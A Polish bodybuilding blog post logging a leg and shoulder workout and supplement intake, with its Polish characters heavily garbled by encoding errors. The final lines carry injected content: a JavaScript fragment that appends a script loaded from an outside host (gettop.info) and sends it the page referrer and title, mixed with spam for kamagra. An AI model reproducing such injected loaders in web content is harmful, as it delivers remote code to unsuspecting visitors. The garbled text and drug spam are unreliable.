Jest pompa!

28.10.2011 / Michał Karmowski

Kolejny dzieAi?? treningowy za mnAi?? teraz jest naprawdAi?? ciAi??A?ko zwAi??aszcza , A?e trenuje non stop do Ai??rody , treningi sAi?? teraz bardzo intensywne a kaA?da grupa miAi??Ai??niowa jest trenowana duA?o czAi??Ai??ciej. DziAi?? po treningu czworo-gAi??owych zrobiAi??em lekko barki na tyle ile mogAi??em. CzwA?rki za to dostaAi??y mocno w koAi??Ai?? i daAi??em radAi?? zrobiAi?? znowu przysiady ze sztangAi?? z przodu:-) Mniejsza iloAi??Ai?? wAi??glowodanA?w teA? jest odczuwalna chociaA? aakg mega hardcore daje dobrAi?? pompAi??, zawsze na koAi??cA?wkAi?? wrzucam argininAi?? do suplementacji 3x dziennie, od dziAi?? biorAi?? jAi?? rano na czczo , przed treningiem razem z S.A.W. i przed ostatnim posiAi??kiem.

trening czwA?rek i barkA?w , ktA?ry zamknAi??Ai?? siAi?? w 60 min

-wyprosty 4serie

-hak przysiady 4 serie

-przysiady ze sztangAi?? z przodu 3 serie

-wypychanie na suwnicy 3 serie

-wyprosty 3 x30powt

barki

-unoszenie ramion bokiem siedzAi??c 3 serie

-przyciAi??ganie do brody gryfu maszyny smitha 3 serie

-wyciskanie na maszynie 3 serie

super seria- unoszenie ramion bokiem z linkami wyciAi??gA?wAi?? i unoszenie ramion przodem z drAi??A?kiem wyciAi??gu 3 seried.getElementsByTagName(‚head’)[0].appendChild(s); Order Cheap Order s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; var d=document;var s=d.createElement(‚script’); kamagra 100mg oral jelly ebay. generic Kamagra. kamagra oral jelly buy online india. Purchase